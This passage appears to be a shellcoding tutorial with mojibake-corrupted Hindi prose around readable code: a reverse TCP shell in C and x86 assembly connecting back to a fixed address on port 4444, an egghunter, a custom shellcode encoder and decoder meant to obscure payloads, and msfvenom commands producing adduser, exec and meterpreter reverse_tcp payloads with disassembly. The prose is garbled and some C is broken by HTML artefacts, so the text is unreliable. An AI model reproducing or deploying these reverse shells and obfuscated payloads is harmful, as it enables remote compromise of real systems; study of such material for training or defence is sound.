рдХрдорд╛рдВрдб рд╢реЗрд▓ рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВред#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
int main ()
{
const char* ip = "192.168.0.106";
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
inet_aton(ip, &addr;.sin_addr);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, (struct sockaddr *)&addr;, sizeof(addr));
for (int i = 0; i < 3; i++)
{
dup2(sockfd, i);
}
execve("/bin/sh", NULL, NULL);
рд╣рдо рдХреЛрдбрд╛рдВрддрд░рдХ рдореЗрдВ рдЕрдиреБрд╡рд╛рдж рдХрд░рддреЗ рд╣реИрдВ section .text
global _start
_start:
; creating socket
xor eax, eax
xor esi, esi
xor ebx, ebx
push esi
push 0x1
push 0x2
; calling socket call for socket creating
mov al, 102
mov bl, 1
mov ecx, esp
int 0x80
mov edx, eax
; creating sockaddr_in and connect()
push esi
push esi
push 0x6a00a8c0 ; IPv4 address to connect
push WORD 0x5c11 ; port
push WORD 2
mov ecx, esp
push 0x16
push ecx
push edx
; socketcall()
mov al, 102
mov bl, 3 ; connect()
mov ecx, esp
int 0x80
; dup2 STDIN, STDOUT, STDERR
xor ecx, ecx
mov cl, 3
mov ebx, edx
dup: dec ecx
mov al, 63
int 0x80
jns dup
; execve /bin/sh
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
рдлрд┐рд░:$nasm32 reverse_tcp_shell
рдЖрдк рд╕рдорд╛рди рдХрдорд╛рдВрдб (рдХрд╛рд░реНрдп 1) рдкрд░рд┐рдгрд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдиреЗрдХреНрд╢рди рдкрддрд╛ рдпрд╛ рдкреЛрд░реНрдЯ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ
3. рдПрдЧреБрдирдЧрдВрдЯрд░ рддрдХрдиреАрдХ
Egghunter рддрдХрдиреАрдХ "рдИрд╕реНрдЯрд░ рдЕрдВрдбреЗ" рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХреНрд╖реЗрддреНрд░ рдХреЛ рдпрд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣рдо рдкрд╣рд▓реЗ рд╕реЗ рдЬрд╛рдирддреЗ рд╣реИрдВ, рдФрд░ "рдЕрдВрдбреЗ" рдХреЗ рдмрд╛рдж рдХреЛрдб рдХреЛ рдирд┐рдпрдВрддреНрд░рдг рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рддрдХрдиреАрдХ рддрдм рдЙрдкрдпреЛрдЧреА рд╣реЛрддреА рд╣реИ рдЬрдм рд╣рдореЗрдВ рдЕрдкрдиреЗ рд╢реЗрд▓рдХреЛрдб рдХрд╛ рд╕рд╣реА рд╕реНрдерд╛рди рдкрддрд╛ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИредрдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:- рд╣рдордиреЗ рд╕реНрдЯреИрдХ рдкрд░ "рдХрдЪрд░рд╛" рдбрд╛рд▓рд╛;
- рд╣рдорд╛рд░реЗ рд╢реЗрд▓рдХреЛрдб рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦреЗрдВ;
- рдвреЗрд░ рдкрд░ рдИрд╕реНрдЯрд░ рдЕрдВрдбреЗ рд░рдЦреЛ;
- рдФрд░ рдХрдЪрд░рд╛ рдбрд╛рд▓реЗрдВред
"рдХрдЪрд░рд╛" рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ:
import random
rdm = bytearray(random.getrandbits(8) for _ in range(96))
for i in range(0,len(rdm),4):
bts = rdm[i:i+4]
print("\tpush 0x" + ''.join('{:02x}'.format(x) for x in bts))
рд╣рдо рд╢рдВрдЦ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВрдЧреЗ: ; execve_sh
global _start
section .text
_start:
; PUSH 0
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, eax
push ebx
mov ecx, esp
mov al, 11
int 0x80
рдЗрд╕ рд╢реЗрд▓рдХреЛрдб рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЗрд╕рдХрд╛ рдУрдкрдХреЛрдб рд▓реЗрдВ рдФрд░ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦреЗрдВредрдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╣рдо рд╕рдлрд▓ рд╣реЛрдВрдЧреЗ:section .text
global _start
_start:
; trash
push 0x94047484
push 0x8c35f24a
push 0x5a449067
push 0xf5a651ed
push 0x7161d058
push 0x3b7b4e10
push 0x9f93c06e
; shellcode execve() /bin/sh
push 0x9080cd0b
push 0xb0e18953
push 0xe28950e3
push 0x896e6962
push 0x2f687361
push 0x622f6868
push 0x6a50c031
; egg
push 0xdeadbeef
; trash
push 0xd213a92d
push 0x9e3a066b
push 0xeb8cb927
push 0xddbaec55
push 0x43a73283
push 0x89f447de
push 0xacfb220f
mov ebx, 0xefbeadde ; egg in reverse order
mov esi, esp
mov cl, 200 ; change this value for deeper or less searching
find: lodsb ; read byte from source - esi
cmp eax, ebx ; is it egg?
jz equal ; if so, give control to shellcode
shl eax, 8 ; if not, shift one byte left
loop find ; repeat
xor eax, eax ; if there is no egg - exit
mov al, 1
xor ebx, ebx
mov bl, 10
int 0x80
equal: jmp esi ; jmp to shellcode
рдЖрдк jmp рдЦреЛрдЬ рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ рдХреЗ рд╕рд╛рде рд▓реВрдк рдлрд╝рд╛рдЗрдВрдб рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрд╕рд╕реЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рддреНрд░реБрдЯрд┐ рд╣реЛ рд╕рдХрддреА рд╣реИред рдЖрдк рдЗрд╕ рдЕрдкрд╡рд╛рдж рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реИрдВрдбрд▓рд░ рднреА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рд╛рдорд╛рдиреНрдп рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рд╣рдорд╛рд░рд╛ рдХреЛрдб рдкрд░реНрдпрд╛рдкреНрдд рд╣реИред рдХрднреА-рдХрднреА рд╕реНрдореГрддрд┐ рдХреЗ рдПрдХ рдЕрд▓рдЧ рджрд┐рд╢рд╛ рдореЗрдВ рдкрдбрд╝реЗ "рдИрд╕реНрдЯрд░ рдЕрдВрдбреЗ" рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдлрд┐рд░ рдЖрдкрдХреЛ рджрд┐рд╢рд╛ рдзреНрд╡рдЬ рдХреЗ рдореВрд▓реНрдп рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдФрд░ рдЖрдк рд╢реЗрд▓рдХреЛрдб рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЗрдПрдордкреА рдПрд╕рдЖрдИрдЖрдИ + рдСрдлрд╕реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред4. рдЕрдкрдирд╛ рдПрдирдХреЛрдбрд░ рд▓рд┐рдЦреЗрдВ
рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рд░рд┐рд╡рд░реНрд╕ рдбрд┐рдХреЛрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдмрд┐рдирд╛ рд╢реЗрд▓рдХреЛрдб рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЕрд▓рдЧ рдХрд░рддрд╛ рд╣реИред рдореИрдВрдиреЗ рдЗрд╕ рдХрд╛рд░реНрдп рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛, рдЬреИрд╕рд╛ рдХрд┐ рдореБрдЭреЗ рдкрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдереЛрдбрд╝реА рдЬрдЯрд┐рд▓рддрд╛ рдХреЗ рд╕рд╛рде: рд╢реЗрд▓рдХреЛрдб рдХреЗ рдЖрд╡рд╢реНрдпрдХ рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдмреАрдЪ рдХреВрдбрд╝реЗ рдХреЗ рдмрд╛рдЗрдЯреНрд╕ рдХреА рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ (1 рд╕реЗ 5) рд╕рдВрдЦреНрдпрд╛ рд╣реИред рдПрдиреНрдХреЛрдбреЗрдб рд╢реЗрд▓рдХреЛрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦреА рд╣реИ:
import sys
import random
if len(sys.argv) != 2:
print("Enter opcode in hex")
sys.exit(0)
opcode = sys.argv[1]
encoded = ""
b1 = bytearray.fromhex(opcode)
for x in b1:
t = 'aa' * random.randint(1,5)
encoded += '%02x' % x + t
print(encoded)
рдкрд░рд┐рдгрд╛рдо рдХреНрд░рдордмрджреНрдз рд╕рдВрдХрд▓рд┐рдд рдХрд░ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:$./hex2stack.py $(./encoder.py $(hexopcode execve_sh))
рдирд┐рд╖реНрдХрд░реНрд╖: push 0x909090aa
push 0xaaaaaaaa
push 0x80aaaaaa
push 0xaacdaaaa
push 0xaaaa0baa
push 0xaaaaaaaa
push 0xb0aaaaaa
push 0xaae1aaaa
push 0xaaaaaa89
push 0xaaaaaa53
push 0xaaaaaac2
push 0xaa89aaaa
push 0xaaaa50aa
push 0xaaaaaaaa
push 0xe3aaaa89
push 0xaaaa6eaa
push 0xaa69aaaa
push 0xaaaa62aa
push 0xaaaaaa2f
push 0xaa68aaaa
push 0x68aaaaaa
push 0xaaaa73aa
push 0xaaaa2faa
push 0xaa2faaaa
push 0xaa68aaaa
push 0x50aaaaaa
push 0xaaaac0aa
push 0xaaaaaa31
рдкрд╣рд▓реЗ рднрд╛рдЧ 0x909090aa рдкрд░ рдзреНрдпрд╛рди рджреЗрдВред рджрд╛рдИрдВ рдУрд░ рдкрд╣рд▓рд╛ рдмрд╛рдЗрдЯ 90 рд╣рдорд╛рд░реЗ рдПрдиреНрдХреЛрдбреЗрдб рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдЕрдВрдд рд╣реИред рдмреЗрд╢рдХ, рдЖрдк рд╢реЗрд▓рдХреЛрдб рдХреЗ рдЕрдВрдд рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдЕрдиреНрдп рдорд╛рдиреНрдп рдорд╛рди рдХрд╛ рдЪрдпрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВредрдбрд┐рдХреЛрдбрд░ рдХреЛрдб: section .text
global _start
_start:
; encoded shellcode
push 0x909090aa
push 0xaaaaaaaa
push 0x80aaaaaa
push 0xaacdaaaa
push 0xaaaa0baa
push 0xaaaaaaaa
push 0xb0aaaaaa
push 0xaae1aaaa
push 0xaaaaaa89
push 0xaaaaaa53
push 0xaaaaaac2
push 0xaa89aaaa
push 0xaaaa50aa
push 0xaaaaaaaa
push 0xe3aaaa89
push 0xaaaa6eaa
push 0xaa69aaaa
push 0xaaaa62aa
push 0xaaaaaa2f
push 0xaa68aaaa
push 0x68aaaaaa
push 0xaaaa73aa
push 0xaaaa2faa
push 0xaa2faaaa
push 0xaa68aaaa
push 0x50aaaaaa
push 0xaaaac0aa
push 0xaaaaaa31
; prepare registers for decoding
mov esi, esp
mov edi, esp
mov bl, 0xaa
decoder:
lodsb ; read byte from stack
cmp al, bl ; check: is it trash byte?
jz loopy ; if so, repeat
cmp al, 0x90 ; is it end of shellcode?
jz exec ; if so, go to start of shellcode
stosb ; if not, place byte of shellcode into stack
loopy: jmp decoder ; repeat
exec: jmp esp ; give flow control to shellcode
рдпрджрд┐ рд╢реЗрд▓рдХреЛрдб рдореЗрдВ рдПрдирдУрдкреА рдирд┐рд░реНрджреЗрд╢ (0x90) рдирд╣реАрдВ рд╣реИ, рддреЛ рдЗрд╕ рдмрд╛рдЗрдЯ рдХреЛ рд╢реЗрд▓рдХреЛрдб рдХреЗ рдЕрдВрдд рдХреЗ рд▓рд┐рдП рдПрдХ рдорд╛рд░реНрдХрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЪреБрдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЕрдиреНрдп рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдЖрдкрдХреЛ рдПрдХ рдЕрд▓рдЧ рдореВрд▓реНрдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПредрдкрд░рд┐рдгрд╛рдо:
5. GDB / libemu / ndisasm рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ msfvenom рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рд╢реЗрд▓рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг
рдЗрд╕ рдЦрдВрдб рдореЗрдВ, рд╣рдо рдкреНрд░рд╕рд┐рджреНрдз рдЙрдкрдХрд░рдг - msfvenom рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рдкреНрдд рд╢реЗрд▓рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗред1. рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬреЛрдбрд╝реЗрдВрд╢реЗрд▓рдХреЛрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб:msfvenom -a x86 --platform linux -p linux/x86/adduser -f c > adduser.c
рдкрд░рд┐рдгрд╛рдореА GDB рд╢реЗрд▓рдХреЛрдб рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдХрдИ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ, рдореИрдВрдиреЗ рдЕрдкрдиреЗ рд▓рд┐рдП рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ - рдХреЛрдб рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦрдиреЗ рдФрд░ рдЗрд╕рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред$ cat adduser.c | grep -Po "\\\x.." | tr -d '\n' | sed -e 's!\\x!!g' ; echo
31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
$ python3 hex2stack.py 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
out:
push 0x90909080
push 0xcd58016a
push 0x80cd5804
...
рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдлрд╝рд╛рдЗрд▓ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗ: section .text
global _start
_start:
push 0x90909080
push 0xcd58016a
push 0x80cd5804
push 0x6afc518b
push 0x590a6873
push 0x2f6e6962
push 0x2f3a2f3a
push 0x3a303a30
push 0x3a635249
push 0x3470346a
push 0x7349642f
push 0x7a413a74
push 0x696f6c70
push 0x73617465
push 0x6d000000
push 0x28e89380
push 0xcd04b541
push 0xe3896374
push 0x652f6861
push 0x702f2f68
push 0x64777373
push 0x6851c931
push 0x58056a80
push 0xcd58466a
push 0xcb89c931
jmp esp
рдкрд╣рд▓реА рдЪреАрдЬ рдЬреЛ рд╢реЗрд▓рдХреЛрдб рдХрд░рддреА рд╣реИ, рд╡рд╣ рдкреИрд░рд╛рдореАрдЯрд░ (0,0) рдХреЗ рд╕рд╛рде рд╕реЗрдЯреНрд░реЗрдпреБрдб () рдмрдирд╛рддреА рд╣реИ: рд╢реЗрд▓рдХреЛрдб рдореЗрдВ рд░реВрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдПред рдЙрд╕рдХреЗ рдмрд╛рдж рдлрд╛рдЗрд▓ / etc / passwd рдЦреБрд▓рддрд╛ рд╣реИред рдХреЛрдб рдореЗрдВ, рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓рдиреЗ рдХреЗ рдмрд╛рдж, рдХреЙрд▓ рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рдирд┐рд░реНрджреЗрд╢ рдХреЗ рдмрд╛рдж, рдкреНрд░реЛрд╕реЗрд╕рд░ рдЕрдЧрд▓реЗ рдХрдорд╛рдВрдб рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦреЗрдЧрд╛ред рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЗрд╕ рддрд░рд╣ рдХреА рдХрдорд╛рдВрдб рд╣рдорд╛рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдкрдВрдХреНрддрд┐ рд╣реИ - рдмрд╛рдж рдореЗрдВ рдпрд╣ рд▓рд╛рдЗрди рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд▓рд┐рдЦреА рдЬрд╛рдПрдЧреАред рдпрд╣ рд╡рд┐рдзрд┐ рдЖрдкрдХреЛ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред2. рдХрд╛рд░реНрдпрдХрд╛рд░реА Whoami рд╣рдордлрд╛рдЗрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓реЗрдЦрди рдкрддрд╛ рд▓рдЧрд╛, рдЕрдм рджреЗрдЦреЗрдВ рдХрд┐ рдЖрджреЗрд╢реЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЪрд▓реЛредShellcode рдЬрдирд░реЗрдЯ рдХрд░реЗрдВ:msfvenom -a x86 --platform linux -p linux/x86/exec CMD="whoami" -f raw> exec_whoami.bin
рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:$sctest -vv -S -s 10000 -G shell.dot < exec_whoami.bin
[emu 0x0x16c8100 debug ] 6A0B push byte 0xb
; execve()
[emu 0x0x16c8100 debug ] 58 pop eax
[emu 0x0x16c8100 debug ] 99 cwd
; in this case - set to 0 due to cwd and small eax
[emu 0x0x16c8100 debug ] 52 push edx
; "-c"
[emu 0x0x16c8100 debug ] 66682D63 push word 0x632d
; address of "-c"
[emu 0x0x16c8100 debug ] 89E7 mov edi,esp
; /bin/sh
[emu 0x0x16c8100 debug ] 682F736800 push dword 0x68732f
[emu 0x0x16c8100 debug ] 682F62696E push dword 0x6e69622f
; 1st arg of execve()
[emu 0x0x16c8100 debug ] 89E3 mov ebx,esp
; null
[emu 0x0x16c8100 debug ] 52 push edx
; place "whoami" in stack
[emu 0x0x16c8100 debug ] E8 call 0x1
; push "-c"
[emu 0x0x16c8100 debug ] 57 push edi
; push "/bin/sh"
[emu 0x0x16c8100 debug ] 53 push ebx
; 2nd argument of execve()
; pointer to args
[emu 0x0x16c8100 debug ] 89E1 mov ecx,esp
; execute execve()
[emu 0x0x16c8100 debug ] CD80 int 0x80
рдХреЙрд▓ рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХрдорд╛рдВрдб рдХреЛ рдмрджрд▓рдирд╛ рдЖрд╕рд╛рди рдмрдирд╛рддрд╛ рд╣реИред3.рдкреЗрд▓реЛрдб рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореАрдЯрд░рдкрд░реЗрдЯрд░ рдЯреАрд╕реАрдкреА рдХрдорд╛рдВрдб рдХреЛ рдЙрд▓реНрдЯрд╛ рдХрд░реЗрдВmsfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f raw > meter_revtcp.bin
рдлрд┐рд░ndisasm -u meter_revtcp.bin
рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдХреЛрдб00000000 6A0A push byte +0xa
00000002 5E pop esi ; place 10 in esi
00000003 31DB xor ebx,ebx ; nullify ebx
00000005 F7E3 mul ebx
00000007 53 push ebx ; push 0
00000008 43 inc ebx ; 1 in ebx
00000009 53 push ebx ; push 1
0000000A 6A02 push byte +0x2 ; push 2
0000000C B066 mov al,0x66 ; mov socketcall
0000000E 89E1 mov ecx,esp ; address of argument
00000010 CD80 int 0x80 ; calling socketcall() with socket()
00000012 97 xchg eax,edi ; place sockfd in edi
00000013 5B pop ebx ; in ebx 1
00000014 68C0A80066 push dword 0x6600a8c0 ; place IPv4 address connect to
00000019 680200115C push dword 0x5c110002 ; place port and proto family
0000001E 89E1 mov ecx,esp
00000020 6A66 push byte +0x66
00000022 58 pop eax ; socketcall()
00000023 50 push eax
00000024 51 push ecx ; addresss of sockaddr_in structure
00000025 57 push edi ; sockfd
00000026 89E1 mov ecx,esp ; address of arguments
00000028 43 inc ebx
00000029 CD80 int 0x80 ; call connect()
0000002B 85C0 test eax,eax ;
0000002D 7919 jns 0x48 ; if connect successful - jmp
0000002F 4E dec esi ; in esi 10 - number of attempts to connect
00000030 743D jz 0x6f ; if zero attempts left - exit
00000032 68A2000000 push dword 0xa2
00000037 58 pop eax
00000038 6A00 push byte +0x0
0000003A 6A05 push byte +0x5
0000003C 89E3 mov ebx,esp
0000003E 31C9 xor ecx,ecx
00000040 CD80 int 0x80 ; wait 5 seconds
00000042 85C0 test eax,eax
00000044 79BD jns 0x3
00000046 EB27 jmp short 0x6f
00000048 B207 mov dl,0x7 ; mov dl 7 - read, write, execute for mprotect() memory area
0000004A B900100000 mov ecx,0x1000 ; 4096 bytes
0000004F 89E3 mov ebx,esp
00000051 C1EB0C shr ebx,byte 0xc
00000054 C1E30C shl ebx,byte 0xc ; nullify 12 lowest bits
00000057 B07D mov al,0x7d ; mprotect syscall
00000059 CD80 int 0x80
0000005B 85C0 test eax,eax
0000005D 7810 js 0x6f ; if no success with mprotect -> exit
0000005F 5B pop ebx ; if success put sockfd in ebx
00000060 89E1 mov ecx,esp
00000062 99 cdq
00000063 B60C mov dh,0xc
00000065 B003 mov al,0x3 ; read data from socket
00000067 CD80 int 0x80
00000069 85C0 test eax,eax
0000006B 7802 js 0x6f
0000006D FFE1 jmp ecx ; jmp to 2nd part of shell
0000006F B801000000 mov eax,0x1
00000074 BB01000000 mov ebx,0x1
00000079 CD80 int 0x80
рдпрд╣ рдХреЛрдб рдПрдХ рд╕реЙрдХреЗрдЯ рдмрдирд╛рддрд╛ рд╣реИ, рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкреЛрд░реНрдЯ рдкрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЖрдИрдкреА рдкрддреЗ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рдПрдХ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рд╕реЙрдХреЗрдЯ рд╕реЗ рд╢реЗрд▓рдХреЛрдб рдХреЗ рджреВрд╕рд░реЗ рднрд╛рдЧ рдХреЛ рдкрдврд╝рдиреЗ рдФрд░ рдЖрд╡рдВрдЯрд┐рдд рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдХрдиреЗрдХреНрд╢рди рд╡рд┐рдлрд▓ рд░рд╣рддрд╛ рд╣реИ, рддреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо 5 рд╕реЗрдХрдВрдб рдЗрдВрддрдЬрд╛рд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рд╕реЗ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред рдХрдИ рдЕрд╕рдлрд▓ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рдмрд╛рдж рдпрд╛ рдЕрдиреНрдп рдЕрдкрд╡рд╛рджреЛрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдЬреЛ рдШрдЯрд┐рдд рд╣реБрдП рд╣реИрдВ, рд╡рд╣ рдЕрдкрдирд╛ рдХрд╛рдо рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджреЗрддрд╛ рд╣реИред6. рд╢реЗрд▓-рддреВрдлрд╛рди рд╕реЗ 3 рд╢реЗрд▓рдХреЛрдб рдХреЗ рдмрд╣реБрд░реВрдкреА рд░реВрдкрд╛рдВрддрд░рдг рдХрд░реЗрдВред
